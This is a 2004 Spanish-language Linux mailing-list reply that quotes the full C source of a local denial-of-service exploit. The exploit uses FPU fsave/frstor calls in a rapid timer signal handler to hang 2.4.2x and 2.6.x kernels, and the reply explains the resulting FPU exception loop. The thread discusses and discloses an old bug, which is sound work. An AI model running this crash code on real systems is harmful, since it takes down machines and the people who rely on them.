Kernel Crash-Exploit descubierto
Horst von Brand
vonbrand en inf.utfsm.cl
Dom Jun 13 22:55:47 CLT 2004
Felipe Covarrubias Hooper <felipe.covarrubias en alumnos.utfsm.cl> dijo:
> Gustavo Chaín wrote:
> >On Sat, 12 Jun 2004 14:14:56 -0400
> >Gustavo Chaín <id1 en vtr.net> wrote:
> >> El bug permite q un simple programa en C bloquee el sistema, afecta
> >> kernels 2.4.2x and 2.6.x, el exploit fue reportado como un "gcc bug"
> >>Código
> >>
> >> #include <sys/time.h>
> >> #include <signal.h>
> >> #include <unistd.h>
> >>
> >> static void Handler(int ignore)
> >> {
> >> char fpubuf[108];
> >> __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
> >> write(2, "*", 1);
> >> __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
> >> }
> >>
> >> int main(int argc, char *argv[])
> >> {
> >> struct itimerval spec;
> >> signal(SIGALRM, Handler);
> >> spec.it_interval.tv_sec=0;
> >> spec.it_interval.tv_usec=100;
> >> spec.it_value.tv_sec=0;
> >> spec.it_value.tv_usec=100;
> >> setitimer(ITIMER_REAL, &spec, NULL);
> >> while(1)
> >> write(1, ".", 1);
> >>
> >> return 0;
> >> }
El problema es que deja los bits de estado de la FPU en estado extran~o,
haciendo que el nucleo entre en un loop infinito con una excepcion de la
FPU al copiar memoria, que lleva a generar un error de FPU, que...
--
Dr. Horst H. von Brand User #22616 counter.li.org
Departamento de Informatica Fono: +56 32 654431
Universidad Tecnica Federico Santa Maria +56 32 654239
Casilla 110-V, Valparaiso, Chile Fax: +56 32 797513
Más información sobre la lista de distribución Linux